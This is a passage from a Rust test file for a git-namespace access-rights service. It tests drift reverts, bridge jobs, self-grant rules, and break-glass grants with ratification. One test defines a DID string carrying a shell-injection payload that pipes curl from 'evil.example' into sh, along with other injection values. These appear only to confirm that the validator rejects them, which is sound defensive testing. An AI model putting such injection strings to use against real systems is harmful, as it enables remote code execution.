&f,
&_ns,
json!([{ "type": "roleChanged", "resource": RES, "account": carol_acct(), "expected": "maintain", "observed": "maintain" }]),
)
.await;
let out = resolve(
&f,
&f.bob,
json!({ "type": "roleChanged", "account": carol_acct(), "observed": "maintain" }),
"adopt",
)
.await;
assert_eq!(code(&out), "git-ns/drift/resolve:notAdoptable");
}
#[tokio::test]
async fn drift_resolve_checks_the_resource_the_caller_and_the_selector() {
let (f, ns) = drift_fixture(json!([
{ "type": "roleAdded", "resource": RES, "account": eve_acct(), "observed": "write" }
]))
.await;
let sel = json!({ "type": "roleAdded", "account": eve_acct(), "observed": "write" });
let at =
|resource: &str| json!({ "resource": resource, "drift": sel.clone(), "action": "revert" });
let out = send(
&f.vtc.state,
&f.bob,
"drift/resolve",
at("github.com/nobody/x"),
)
.await;
assert_eq!(code(&out), "git-ns:unknownNamespace");
let out = send(
&f.vtc.state,
&f.bob,
"drift/resolve",
at("github.com/acme/nothing"),
)
.await;
assert_eq!(code(&out), "git-ns:unknownRepo");
let out = resolve(&f, &f.carol, sel.clone(), "revert").await;
assert_eq!(code(&out), "permissionDenied");
for (drift, action) in [
(json!({ "type": "roleAdded" }), "revert"),
(
json!({ "type": "bootstrapMissing", "account": eve_acct() }),
"revert",
),
(
json!({ "type": "roleAdded", "account": eve_acct() }),
"adopt",
),
] {
let out = resolve(&f, &f.bob, drift.clone(), action).await;
assert_eq!(code(&out), "malformedRequest", "{drift}");
}
let adopt_sel = json!({ "type": "roleAdded", "account": eve_acct(), "observed": "write" });
let out = resolve_naming(&f, &f.bob, adopt_sel, "adopt", None).await;
assert_eq!(code(&out), "malformedRequest");
let out = resolve_naming(&f, &f.bob, sel.clone(), "revert", Some(&f.carol.did)).await;
assert_eq!(code(&out), "malformedRequest");
activate_git_policy(&f, &policy_denying("drift.revert")).await;
let out = resolve(&f, &f.bob, sel.clone(), "revert").await;
assert_eq!(code(&out), "git-ns:policyDenied");
crate::policy::storage::clear_active_policy_id(
&f.vtc.state.active_policies_ks,
crate::policy::model::PolicyPurpose::GitNamespace,
)
.await
.unwrap();
crate::policy::default::install_defaults(
&f.vtc.state.policies_ks,
&f.vtc.state.active_policies_ks,
)
.await
.unwrap();
ok(&send(
&f.vtc.state,
&f.admin,
"repo/archive",
json!({ "resource": RES }),
)
.await);
let out = resolve(&f, &f.bob, sel, "revert").await;
assert_eq!(code(&out), "git-ns:repoNotActive");
let _ = ns;
}
#[tokio::test]
async fn drift_resolve_in_a_pending_namespace_is_not_bound() {
let f = fixture().await;
ok(&send(
&f.vtc.state,
&f.admin,
"namespace/bind",
json!({ "forge": "github.com", "owner": "acme", "mode": "bridge" }),
)
.await);
let out = resolve(
&f,
&f.admin,
json!({ "type": "bootstrapMissing" }),
"revert",
)
.await;
assert_eq!(code(&out), "git-ns:namespaceNotBound");
}
#[tokio::test]
async fn reverting_a_role_added_on_the_forge_sends_bridge_job_0_2_with_remove_accounts() {
let (f, _ns) = drift_fixture(json!([
{ "type": "roleAdded", "resource": RES, "account": eve_acct(), "observed": "write" }
]))
.await;
let body = ok(&resolve(
&f,
&f.bob,
json!({ "type": "roleAdded", "account": eve_acct(), "observed": "write" }),
"revert",
)
.await);
assert_eq!(body["action"], "revert");
assert!(body.get("right").is_none());
assert_eq!(body["sync"]["state"], "pending");
assert_eq!(body["sync"]["drift"], json!([]));
let sent = f.bridge.jobs.lock().unwrap().clone();
let job = sent
.iter()
.map(|(_, p)| p)
.find(|p| p.get("removeAccounts").is_some())
.expect("a projectRoles job with removeAccounts");
assert_eq!(job["kind"], "projectRoles");
assert_eq!(job["repo"], RES);
assert_eq!(job["removeAccounts"], json!([eve_acct()]));
assert!(
f.bridge
.types
.lock()
.unwrap()
.iter()
.all(|t| t == super::bridge::JOB_TYPE)
);
}
#[tokio::test]
async fn a_bridge_before_job_0_4_is_sent_nothing_and_cannot_revert() {
let (f, _ns) = drift_fixture(json!([
{ "type": "roleAdded", "resource": RES, "account": eve_acct(), "observed": "write" }
]))
.await;
make_pre_v0_4(&f).await;
let before = f.bridge.jobs.lock().unwrap().len();
let out = resolve(
&f,
&f.bob,
json!({ "type": "roleAdded", "account": eve_acct(), "observed": "write" }),
"revert",
)
.await;
assert_eq!(code(&out), "git-ns/drift/resolve:notRevertible");
assert!(
message(&out).contains("upgrade the bridge"),
"{}",
message(&out)
);
assert_eq!(f.bridge.jobs.lock().unwrap().len(), before);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert_eq!(snap.repo_at(RES).unwrap().sync.drift.len(), 1);
}
async fn make_pre_v0_4(f: &Fixture) {
*f.bridge.pre_v0_4.lock().unwrap() = true;
f.vtc
.state
.git_ns
.jobs_ks
.remove(format!("bridgever:{}", f.bridge_party.did))
.await
.unwrap();
}
#[tokio::test]
async fn a_queued_job_waits_for_a_bridge_before_0_4_to_be_upgraded() {
let (f, _ns) = drift_fixture(json!([])).await;
make_pre_v0_4(&f).await;
let before = f.bridge.jobs.lock().unwrap().len();
super::bridge::project_roles(&f.vtc.state, true)
.await
.unwrap();
super::bridge::dispatch_due(&f.vtc.state).await.unwrap();
assert_eq!(
f.bridge.jobs.lock().unwrap().len(),
before,
"nothing is sent"
);
let jobs = super::bridge::list_jobs(&f.vtc.state.git_ns.jobs_ks)
.await
.unwrap();
let job = jobs
.iter()
.rev()
.find(|j| j.kind == super::bridge::JobKind::ProjectRoles)
.unwrap();
assert_eq!(
job.state,
super::bridge::JobState::Pending,
"kept for the upgrade"
);
assert!(
job.last_error
.as_deref()
.unwrap()
.contains("upgrade the bridge")
);
}
#[tokio::test]
async fn a_queued_namespace_level_job_is_dropped_not_delivered() {
let (f, ns) = drift_fixture(json!([])).await;
let bridge_did = f.bridge_party.did.clone();
let t = super::ops::now();
super::bridge::put_job(
&f.vtc.state.git_ns.jobs_ks,
&super::bridge::BridgeJob {
job_id: "job_old_ns_level".into(),
namespace_id: ns.clone(),
bridge_did,
kind: super::bridge::JobKind::ProjectRoles,
payload: json!({ "jobId": "job_old_ns_level", "namespace": ns, "kind": "projectRoles", "desiredRoles": [] }),
repo_id: None,
link_id: None,
state: super::bridge::JobState::Pending,
attempts: 0,
retry_forever: true,
created_at: t,
next_attempt_at: t,
accepted_at: None,
last_error: None,
result: None,
pull_request: None,
},
)
.await
.unwrap();
super::bridge::dispatch_due(&f.vtc.state).await.unwrap();
assert!(
f.bridge
.jobs
.lock()
.unwrap()
.iter()
.all(|(_, p)| p["jobId"] != "job_old_ns_level")
);
let job = super::bridge::get_job(&f.vtc.state.git_ns.jobs_ks, "job_old_ns_level")
.await
.unwrap()
.unwrap();
assert_eq!(job.state, super::bridge::JobState::Cancelled);
let refused = super::bridge::enqueue(
&f.vtc.state,
super::bridge::NewJob {
namespace_id: ns.clone(),
kind: super::bridge::JobKind::ProjectRoles,
payload: json!({ "namespace": ns, "kind": "projectRoles", "desiredRoles": [] }),
repo_id: None,
link_id: None,
},
)
.await;
assert!(refused.is_err());
}
#[tokio::test]
async fn other_reverts_queue_their_jobs() {
let (f, _ns) = drift_fixture(json!([
{ "type": "roleChanged", "resource": RES, "account": carol_acct(), "expected": "maintain", "observed": "admin" },
{ "type": "protectionWeakened", "resource": RES },
{ "type": "bootstrapMissing", "resource": RES }
]))
.await;
ok(&grant(&f, &f.bob, &f.carol.did, "git.repo.maintain", RES).await);
let jobs = |f: &Fixture| {
let f = &f.vtc.state.git_ns.jobs_ks;
let f = f.clone();
async move { super::bridge::list_jobs(&f).await.unwrap() }
};
let before = jobs(&f).await.len();
let out = resolve(
&f,
&f.bob,
json!({ "type": "roleChanged", "account": carol_acct() }),
"revert",
)
.await;
assert_eq!(code(&out), "permissionDenied");
ok(&resolve(
&f,
&f.admin,
json!({ "type": "roleChanged", "account": carol_acct() }),
"revert",
)
.await);
ok(&resolve(
&f,
&f.bob,
json!({ "type": "protectionWeakened" }),
"revert",
)
.await);
let body = ok(&resolve(&f, &f.bob, json!({ "type": "bootstrapMissing" }), "revert").await);
assert_eq!(body["sync"]["state"], "pending");
let after = jobs(&f).await;
assert!(after.len() > before);
assert!(
after
.iter()
.all(|j| j.payload.get("removeAccounts").is_none())
);
assert!(
after
.iter()
.any(|j| j.kind == super::bridge::JobKind::Bootstrap
&& j.payload["steps"] == json!(["requiredCheck"]))
);
assert!(
after.iter().any(
|j| j.kind == super::bridge::JobKind::Bootstrap && j.payload.get("steps").is_none()
)
);
assert!(
after
.iter()
.any(|j| j.kind == super::bridge::JobKind::ProjectRoles && j.payload["repo"] == RES)
);
}
#[tokio::test]
async fn a_manual_namespace_has_no_bridge_to_revert_with() {
let f = fixture().await;
let res = active_repo(&f).await;
let mut snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let mut repo = snap.repo_at(&res).unwrap().clone();
repo.sync.drift = vec![json!({ "type": "bootstrapMissing", "resource": res })];
store::put_repo(&f.vtc.state.git_ns.ks, &repo)
.await
.unwrap();
snap.repos.clear();
let out = resolve(&f, &f.bob, json!({ "type": "bootstrapMissing" }), "revert").await;
assert_eq!(code(&out), "git-ns/drift/resolve:notRevertible");
}
#[tokio::test]
async fn bridge_event_0_2_is_served_and_a_transfer_detaches_wherever_it_goes() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
adopt_with_forge_id(&f, RES, "100").await;
ok(&send_v(
&f.vtc.state,
&f.bridge_party,
&uri2("bridge/event"),
json!({ "namespace": ns, "event": { "type": "repoTransferred", "forgeId": "100", "from": RES, "to": "github.com/acme/elsewhere" } }),
)
.await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let repo = snap.repo_at(RES).unwrap();
assert_eq!(repo.state, RepoState::Detached);
assert!(snap.rows(&Scope::Repo(repo.id.clone())).is_empty());
assert!(snap.repo_at("github.com/acme/elsewhere").is_none());
}
#[tokio::test]
async fn an_event_with_a_drift_item_outside_its_namespace_applies_nothing() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
adopt_with_forge_id(&f, RES, "100").await;
for v in [uri("bridge/event"), uri2("bridge/event")] {
let out = send_v(
&f.vtc.state,
&f.bridge_party,
&v,
json!({
"namespace": ns,
"event": { "type": "repoDeleted", "forgeId": "100", "resource": RES },
"drift": [{ "type": "bootstrapMissing", "resource": "github.com/beta/tools" }],
}),
)
.await;
assert_eq!(code(&out), "permissionDenied", "{v}");
}
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert_eq!(snap.repo_at(RES).unwrap().state, RepoState::Active);
}
const SHELL_DID: &str = "did:web:x.example$(curl${IFS}-s${IFS}evil.example|sh)";
#[tokio::test]
async fn every_git_ns_task_that_takes_a_did_refuses_one_that_is_not_did_core() {
let f = fixture_with(GitNsConfig {
elevated_requires_admin: false,
..GitNsConfig::default()
})
.await;
let res = active_repo(&f).await;
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let ns = snap.repo_at(&res).unwrap().namespace_id.clone();
let cases: Vec<(&Party, &str, Value)> = vec![
(
&f.bob,
"right/grant",
json!({ "subject": SHELL_DID, "right": "git.commit.sign", "resource": res }),
),
(
&f.bob,
"right/revoke",
json!({ "subject": SHELL_DID, "right": "git.commit.sign", "resource": res }),
),
(
&f.bob,
"repo/transfer",
json!({ "resource": res, "to": SHELL_DID }),
),
(
&f.admin,
"repo/adopt",
json!({ "resource": "github.com/acme/gadgets", "owners": [f.carol.did, SHELL_DID] }),
),
];
for (who, task, payload) in cases {
let out = send(&f.vtc.state, who, task, payload).await;
assert_eq!(code(&out), "malformedRequest", "{task}");
}
let out = send_v(
&f.vtc.state,
&f.admin,
RESEAT_URI,
json!({ "namespace": ns, "subject": SHELL_DID, "statement": "x" }),
)
.await;
assert_eq!(code(&out), "malformedRequest", "namespace/reseat");
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert!(
snap.rights
.values()
.flat_map(|s| s.rows.iter())
.all(|r| r.subject != SHELL_DID)
);
assert!(snap.repo_at("github.com/acme/gadgets").is_none());
for bad in [
"did:web:x;id",
"did:web:x|sh",
"did:web:x`id`",
"did:web:x#key-1",
"did:web:x?q=1",
"did:web:x/p",
"did:web:x%zz",
"did:web:x:",
] {
let out = grant(&f, &f.bob, bad, "git.commit.sign", &res).await;
assert!(
matches!(code(&out).as_str(), "malformedRequest"),
"{bad}: {}",
String::from_utf8_lossy(&out.body)
);
}
ok(&grant(&f, &f.bob, &f.carol.did, "git.commit.sign", &res).await);
}
#[tokio::test]
async fn adopting_an_admin_role_is_elevated_and_needs_a_community_administrator() {
let (f, _ns) = drift_fixture(json!([
{ "type": "roleAdded", "resource": RES, "account": carol_acct(), "observed": "admin" }
]))
.await;
let sel = json!({ "type": "roleAdded", "account": carol_acct(), "observed": "admin" });
let out = resolve(&f, &f.bob, sel.clone(), "adopt").await;
assert_eq!(code(&out), "permissionDenied");
let body = ok(&resolve(&f, &f.admin, sel, "adopt").await);
assert_eq!(body["right"]["right"], "git.repo.own");
assert_eq!(body["right"]["subject"], json!(f.carol.did));
}
#[tokio::test]
async fn reverting_a_role_the_projection_holds_is_not_revertible() {
let (f, _ns) = drift_fixture(json!([
{ "type": "roleAdded", "resource": RES, "account": carol_acct(), "observed": "write" }
]))
.await;
ok(&grant(&f, &f.bob, &f.carol.did, "git.repo.maintain", RES).await);
let out = resolve(
&f,
&f.bob,
json!({ "type": "roleAdded", "account": carol_acct(), "observed": "write" }),
"revert",
)
.await;
assert_eq!(code(&out), "git-ns/drift/resolve:notRevertible");
assert!(
f.bridge
.jobs
.lock()
.unwrap()
.iter()
.all(|(_, p)| p.get("removeAccounts").is_none()),
"no job was sent"
);
}
#[tokio::test]
async fn a_policy_can_refuse_adoptions_and_still_allow_grants() {
let (f, _ns) = drift_fixture(json!([
{ "type": "roleAdded", "resource": RES, "account": carol_acct(), "observed": "maintain" }
]))
.await;
activate_git_policy(
&f,
r#"package vtc.git_namespace
import rego.v1
settings := {"maintainer_grants_commit": false, "cascade_on_departure": false, "role_drift": "report"}
default decision := {"effect": "allow"}
decision := {"effect": "deny", "with": {"code": "no-adoptions", "reason": "forge-side changes are reverted here"}} if {
input.action == "right.grant"
input.via == "drift.adopt"
}
"#,
)
.await;
let out = resolve(
&f,
&f.bob,
json!({ "type": "roleAdded", "account": carol_acct(), "observed": "maintain" }),
"adopt",
)
.await;
assert_eq!(code(&out), "git-ns:policyDenied");
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert_eq!(snap.repo_at(RES).unwrap().sync.drift.len(), 1);
ok(&grant(&f, &f.bob, &f.carol.did, "git.repo.maintain", RES).await);
}
#[tokio::test]
async fn an_adoption_whose_item_changed_grants_nothing() {
let (f, _ns) = drift_fixture(json!([
{ "type": "roleAdded", "resource": RES, "account": carol_acct(), "observed": "maintain" }
]))
.await;
let still_holds = |_: &Snapshot| -> super::ops::OpResult<()> {
Err(super::ops::OpError::Declared {
code: super::drift::DRIFT_NOT_FOUND,
message: "changed".into(),
})
};
let payload: trust_tasks_rs::specs::git_ns::right::grant::v0_3::Payload =
serde_json::from_value(
json!({ "subject": f.carol.did, "right": "git.repo.maintain", "resource": RES }),
)
.unwrap();
let r = super::ops::right_grant_via(
&f.vtc.state,
&f.bob.did,
payload,
Some(super::ops::GrantVia {
via: "drift.adopt",
still_holds: &still_holds,
linked_to: None,
op: test_waived_op(),
}),
)
.await;
assert!(matches!(
r,
Err(super::ops::OpError::Declared { code, .. }) if code == super::drift::DRIFT_NOT_FOUND
));
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let repo = snap.repo_at(RES).unwrap();
assert!(
snap.rows(&Scope::Repo(repo.id.clone()))
.iter()
.all(|r| r.subject != f.carol.did)
);
}
#[tokio::test]
async fn a_non_did_core_subject_is_refused_by_grant_and_revoke() {
let f = fixture().await;
let res = active_repo(&f).await;
let not_core = "did:web:legacy.example#k";
let body = json!({ "subject": not_core, "right": "git.commit.sign", "resource": res });
let out = send(&f.vtc.state, &f.bob, "right/revoke", body).await;
assert_eq!(code(&out), "malformedRequest");
let out = grant(&f, &f.bob, not_core, "git.commit.sign", &res).await;
assert_eq!(code(&out), "malformedRequest");
}
#[tokio::test]
async fn reseat_evidence_reports_revocations_and_replaces_a_lapsed_record() {
let f = fixture().await;
let dana = Party::new();
seed_acl(&f.vtc.state, &dana.did, crate::acl::VtcRole::Admin).await;
let ns = bind_manual(&f).await;
ok(&grant(
&f,
&f.admin,
&f.carol.did,
"git.ns.admin",
"github.com/acme",
)
.await);
ok(&send(
&f.vtc.state,
&f.admin,
"right/revoke",
json!({ "subject": f.carol.did, "right": "git.ns.admin", "resource": "github.com/acme", "reason": "stepped down" }),
)
.await);
let scope = Scope::Namespace(ns.clone());
let mut set = store::get_rights(&f.vtc.state.git_ns, &scope)
.await
.unwrap();
let mut lapsed = set.rows[0].clone();
lapsed.subject = f.bob.did.clone();
lapsed.expires_at = Some("2020-01-01T00:00:00Z".parse().unwrap());
set.rows.push(lapsed);
store::put_rights(&f.vtc.state.git_ns, &scope, &set)
.await
.unwrap();
crate::acl::delete_acl_entry(&f.vtc.state.acl_ks, &f.admin.did)
.await
.unwrap();
super::lifecycle::sweep_departures(&f.vtc.state)
.await
.unwrap();
ok(&send_v(
&f.vtc.state,
&dana,
RESEAT_URI,
json!({ "namespace": ns, "subject": f.bob.did, "statement": "the only admin left" }),
)
.await);
let rows = store::get_rights(&f.vtc.state.git_ns, &scope)
.await
.unwrap()
.rows;
let bobs: Vec<_> = rows
.iter()
.filter(|r| r.subject == f.bob.did && r.right == super::model::Right::NsAdmin)
.collect();
assert_eq!(bobs.len(), 1, "{bobs:?}");
assert_eq!(bobs[0].expires_at, None);
let mut detail = None;
for (_, v) in f
.vtc
.state
.audit_ks
.prefix_iter_raw(Vec::new())
.await
.unwrap()
{
let env: vti_common::audit::AuditEnvelope = serde_json::from_slice(&v).unwrap();
if let vti_common::audit::AuditEvent::GitNsOperation(d) = env.event
&& d.action == "gitNs.namespace.reseated"
{
detail = d.detail;
}
}
let detail: Value = serde_json::from_str(&detail.expect("a reseat audit row")).unwrap();
let evidence = detail["headlessEvidence"].as_array().unwrap();
assert!(
evidence.iter().any(|e| e["ended"] == "revoked"
&& e["by"] == json!(f.admin.did)
&& e["why"] == "stepped down"),
"{evidence:?}"
);
assert!(
evidence.iter().any(|e| e["ended"] == "departed"),
"{evidence:?}"
);
assert!(
evidence.iter().any(|e| e["ended"] == "lapsed"),
"{evidence:?}"
);
assert!(!detail.to_string().contains(&f.carol.did));
}
async fn send_ver(
state: &AppState,
who: &Party,
task: &str,
version: &str,
payload: Value,
) -> TrustTaskOutcome {
let type_uri = format!("{URI}/{task}/{version}");
let mut doc: TrustTask<Value> =
vta_sdk::trust_task_sign::build_unsigned(&type_uri, payload, &who.did, TEST_VTC_DID)
.unwrap();
let key =
vta_sdk::trust_task_sign::HolderKey::from_did_key(&who.did, &who.secret_multibase).unwrap();
vta_sdk::trust_task_sign::sign_in_place_with(&mut doc, &key)
.await
.unwrap();
let body = serde_json::to_vec(&doc).unwrap();
dispatch_trust_task_core(state, &JoinAuthCtx::rest(), &body).await
}
fn bg_payload(right: &str, resource: &str) -> Value {
json!({
"right": right,
"resource": resource,
"justification": "Both owners unreachable; CVE fix must ship tonight",
})
}
async fn break_glass(f: &Fixture, who: &Party, right: &str, resource: &str) -> TrustTaskOutcome {
let p = bg_payload(right, resource);
crate::acl::bound_step_up::record_mark_for_test(
&f.vtc.state,
&who.did,
super::break_glass::break_glass_type(),
&p,
)
.await
.unwrap();
send_ver(&f.vtc.state, who, "right/break-glass", "0.1", p).await
}
async fn bg_audit_rows(f: &Fixture) -> Vec<vti_common::audit::GitNsBreakGlassData> {
let mut out = Vec::new();
for (_, v) in f
.vtc
.state
.audit_ks
.prefix_iter_raw(Vec::new())
.await
.unwrap()
{
if let Ok(env) = serde_json::from_slice::<vti_common::audit::AuditEnvelope>(&v)
&& let vti_common::audit::AuditEvent::GitNsBreakGlass(d) = env.event
{
out.push(d);
}
}
out
}
async fn carol_admin_fixture() -> Fixture {
let f = fixture().await;
active_repo(&f).await;
ok(&grant(
&f,
&f.admin,
&f.carol.did,
"git.ns.admin",
"github.com/acme",
)
.await);
f
}
#[tokio::test]
async fn grant_rule_7_refuses_an_elevated_self_grant_and_names_break_glass() {
let f = carol_admin_fixture().await;
for (right, res) in [
("git.repo.own", "github.com/acme/widgets"),
("git.repo.create", "github.com/acme"),
("git.ns.admin", "github.com/acme"),
] {
let out = send_ver(
&f.vtc.state,
&f.carol,
"right/grant",
"0.3",
json!({ "subject": f.carol.did, "right": right, "resource": res }),
)
.await;
assert_eq!(code(&out), "git-ns:selfGrantNotAllowed", "{right}");
assert!(
payload(&out)["message"]
.as_str()
.unwrap()
.contains("break-glass")
);
}
}
#[tokio::test]
async fn grant_rule_7_leaves_normal_self_grants_alone() {
let f = carol_admin_fixture().await;
ok(&grant(
&f,
&f.bob,
&f.bob.did,
"git.repo.maintain",
"github.com/acme/widgets",
)
.await);
ok(&grant(
&f,
&f.bob,
&f.bob.did,
"git.commit.sign",
"github.com/acme/widgets",
)
.await);
ok(&grant(
&f,
&f.admin,
&f.bob.did,
"git.repo.create",
"github.com/acme",
)
.await);
}
#[tokio::test]
async fn grant_rule_7_counts_a_right_the_role_map_projects_to_admin() {
let (f, ns) = drift_fixture(json!([])).await;
ok(&report_role_map_from(
&f,
&f.bridge_party,
&ns,
json!({ "type": "roleMapReported", "roleMap": { "own": "admin", "maintain": "admin", "commit": "none" } }),
chrono::TimeDelta::zero(),
)
.await);
let out = grant(&f, &f.bob, &f.bob.did, "git.repo.maintain", RES).await;
assert_eq!(code(&out), "git-ns:selfGrantNotAllowed");
let msg = payload(&out)["message"].as_str().unwrap().to_string();
assert!(msg.contains("role map"), "{msg}");
assert!(!msg.contains("break-glass"), "{msg}");
ok(&grant(&f, &f.bob, &f.bob.did, "git.commit.sign", RES).await);
ok(&grant(&f, &f.admin, &f.bob.did, "git.repo.maintain", RES).await);
}
#[tokio::test]
async fn grant_rule_7_counts_maintain_while_the_role_map_is_unknown() {
let (f, ns) = drift_fixture_unreported(json!([])).await;
let out = grant(&f, &f.bob, &f.bob.did, "git.repo.maintain", RES).await;
assert_eq!(code(&out), "git-ns:selfGrantNotAllowed");
report_default_map(&f, &ns).await;
ok(&grant(&f, &f.bob, &f.bob.did, "git.repo.maintain", RES).await);
}
#[tokio::test]
async fn repo_adopt_naming_oneself_owner_is_a_self_grant() {
let f = fixture().await;
bind_manual(&f).await;
let out = send(
&f.vtc.state,
&f.admin,
"repo/adopt",
json!({ "resource": "github.com/acme/gadgets", "owners": [f.admin.did] }),
)
.await;
assert_eq!(code(&out), "git-ns:selfGrantNotAllowed");
}
#[tokio::test]
async fn reseat_to_oneself_is_a_self_grant() {
let f = fixture().await;
let dana = Party::new();
seed_acl(&f.vtc.state, &dana.did, VtcRole::Admin).await;
let ns = bind_manual(&f).await;
crate::acl::delete_acl_entry(&f.vtc.state.acl_ks, &f.admin.did)
.await
.unwrap();
let out = reseat(&f, &dana, &ns, &dana.did).await;
assert_eq!(code(&out), "git-ns:selfGrantNotAllowed");
}
#[tokio::test]
async fn break_glass_needs_the_bound_step_up_and_then_records_a_flagged_right() {
let f = carol_admin_fixture().await;
let out = send_ver(
&f.vtc.state,
&f.carol,
"right/break-glass",
"0.1",
bg_payload("git.repo.own", "github.com/acme/widgets"),
)
.await;
assert!(
!out.status.is_success(),
"{}",
String::from_utf8_lossy(&out.body)
);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert!(
!super::rules::owners(
&snap,
&repo_id(&snap, "github.com/acme/widgets"),
super::ops::now()
)
.contains(&f.carol.did)
);
let body = ok(&break_glass(&f, &f.carol, "git.repo.own", "github.com/acme/widgets").await);
let bg = &body["right"]["breakGlass"];
assert_eq!(bg["by"], json!(f.carol.did));
assert!(bg["ratifiedBy"].is_null());
assert!(bg["effectiveAt"].is_null());
assert!(
body["right"].get("expiresAt").is_none(),
"a break-glass never lapses"
);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert!(
super::rules::owners(
&snap,
&repo_id(&snap, "github.com/acme/widgets"),
super::ops::now()
)
.contains(&f.carol.did)
);
let rows = bg_audit_rows(&f).await;
assert_eq!(rows.len(), 1);
let r = &rows[0];
assert_eq!(r.event, "breakGlass");
assert!(r.justification.contains("CVE"));
assert_eq!(r.step_up.as_ref().unwrap().credential_id, "c0ffee");
assert_eq!(r.entitlement.as_deref(), Some("grantAuthority"));
assert_eq!(r.undeliverable, vec![f.admin.did.clone()]);
assert_eq!(
vti_common::audit::AuditEvent::GitNsBreakGlass(r.clone()).severity(),
vti_common::audit::AuditSeverity::Critical
);
let again = ok(&send_ver(
&f.vtc.state,
&f.carol,
"right/break-glass",
"0.1",
bg_payload("git.repo.own", "github.com/acme/widgets"),
)
.await);
assert_eq!(again["right"]["breakGlass"]["at"], bg["at"]);
assert_eq!(
bg_audit_rows(&f).await.len(),
1,
"a repeat announces nothing"
);
}
async fn ratify_as(f: &Fixture, who: &Party, subject: &str, at: Value) -> TrustTaskOutcome {
send_ver(
&f.vtc.state,
who,
"right/ratify",
"0.1",
json!({
"subject": subject,
"right": "git.repo.own",
"resource": "github.com/acme/widgets",
"breakGlassAt": at,
}),
)
.await
}
fn repo_id(snap: &Snapshot, resource: &str) -> String {
snap.repo_at(resource).unwrap().id.clone()
}
#[tokio::test]
async fn break_glass_refuses_what_the_actor_could_not_grant_anyone() {
let f = carol_admin_fixture().await;
let out = break_glass(&f, &f.bob, "git.ns.admin", "github.com/acme").await;
assert!(
matches!(
code(&out).as_str(),
"git-ns:escalation" | "permissionDenied" | "git-ns:scopeViolation"
),
"{}",
code(&out)
);
let out = break_glass(&f, &f.carol, "git.repo.own", "github.com/acme").await;
assert_eq!(code(&out), "git-ns:scopeViolation");
}
#[tokio::test]
async fn break_glass_policy_can_disable_or_delay_it() {
let f = carol_admin_fixture().await;
let with = |extra: &str| {
format!(
r#"package vtc.git_namespace
import rego.v1
settings := {{"maintainer_grants_commit": false, "cascade_on_departure": false, "role_drift": "report", {extra}}}
default decision := {{"effect": "allow"}}
"#
)
};
activate_git_policy(&f, &with(r#""break_glass": "disabled""#)).await;
let out = break_glass(&f, &f.carol, "git.repo.own", "github.com/acme/widgets").await;
assert_eq!(code(&out), "git-ns/right/break-glass:disabled");
activate_git_policy(&f, &with(r#""break_glass_min_justification_chars": 500"#)).await;
let out = break_glass(&f, &f.carol, "git.repo.own", "github.com/acme/widgets").await;
assert_eq!(code(&out), "git-ns:policyDenied");
activate_git_policy(&f, &with(r#""break_glass_delay_seconds": 3600"#)).await;
let body = ok(&break_glass(&f, &f.carol, "git.repo.own", "github.com/acme/widgets").await);
assert!(body["right"]["breakGlass"]["effectiveAt"].is_string());
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let id = repo_id(&snap, "github.com/acme/widgets");
assert!(
!super::rules::owners(&snap, &id, super::ops::now()).contains(&f.carol.did),
"a delayed break-glass confers nothing yet"
);
ok(&send_ver(
&f.vtc.state,
&f.admin,
"right/revoke",
"0.3",
json!({ "subject": f.carol.did, "right": "git.repo.own", "resource": "github.com/acme/widgets" }),
)
.await);
activate_git_policy(&f, &policy_denying("right.breakGlass")).await;
let out = break_glass(&f, &f.carol, "git.repo.own", "github.com/acme/widgets").await;
assert_eq!(code(&out), "git-ns:policyDenied");
}
#[tokio::test]
async fn a_community_administrator_breaks_the_glass_only_on_a_headless_namespace() {
let f = fixture().await;
let dana = Party::new();
seed_acl(&f.vtc.state, &dana.did, VtcRole::Admin).await;
bind_manual(&f).await;
let out = break_glass(&f, &dana, "git.ns.admin", "github.com/acme").await;
assert_eq!(code(&out), "git-ns/right/break-glass:notHeadless");
assert!(!String::from_utf8_lossy(&out.body).contains(&f.admin.did));
crate::acl::delete_acl_entry(&f.vtc.state.acl_ks, &f.admin.did)
.await
.unwrap();
let body = ok(&break_glass(&f, &dana, "git.ns.admin", "github.com/acme").await);
assert_eq!(body["right"]["subject"], json!(dana.did));
let rows = bg_audit_rows(&f).await;
assert_eq!(
rows.last().unwrap().entitlement.as_deref(),
Some("communityAdministratorHeadless")
);
}
#[tokio::test]
async fn ratify_is_someone_elses_bound_to_the_break_glass_read() {
let f = carol_admin_fixture().await;
let body = ok(&break_glass(&f, &f.carol, "git.repo.own", "github.com/acme/widgets").await);
let at = body["right"]["breakGlass"]["at"].clone();
assert_eq!(
code(&ratify_as(&f, &f.carol, &f.carol.did, at.clone()).await),
"git-ns/right/ratify:selfRatification"
);
assert_eq!(
code(&ratify_as(&f, &f.admin, &f.carol.did, json!("2020-01-01T00:00:00Z")).await),
"git-ns/right/ratify:recordChanged"
);
let out = ratify_as(&f, &f.bob, &f.carol.did, at.clone()).await;
assert_eq!(code(&out), "permissionDenied");
let body = ok(&ratify_as(&f, &f.admin, &f.carol.did, at.clone()).await);
assert_eq!(
body["right"]["breakGlass"]["ratifiedBy"],
json!(f.admin.did)
);
assert_eq!(
code(&ratify_as(&f, &f.admin, &f.carol.did, at).await),
"git-ns/right/ratify:notBreakGlass"
);
let rows = bg_audit_rows(&f).await;
assert_eq!(rows.last().unwrap().event, "ratified");
}
#[tokio::test]
async fn a_ratifier_whose_own_authority_is_an_unratified_break_glass_is_refused() {
let cfg = GitNsConfig {
elevated_requires_admin: false,
..GitNsConfig::default()
};
let f = fixture_with(cfg).await;
active_repo(&f).await;
let (dan, erin) = (Party::new(), Party::new());
seed_acl(&f.vtc.state, &dan.did, VtcRole::Member).await;
seed_acl(&f.vtc.state, &erin.did, VtcRole::Member).await;
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
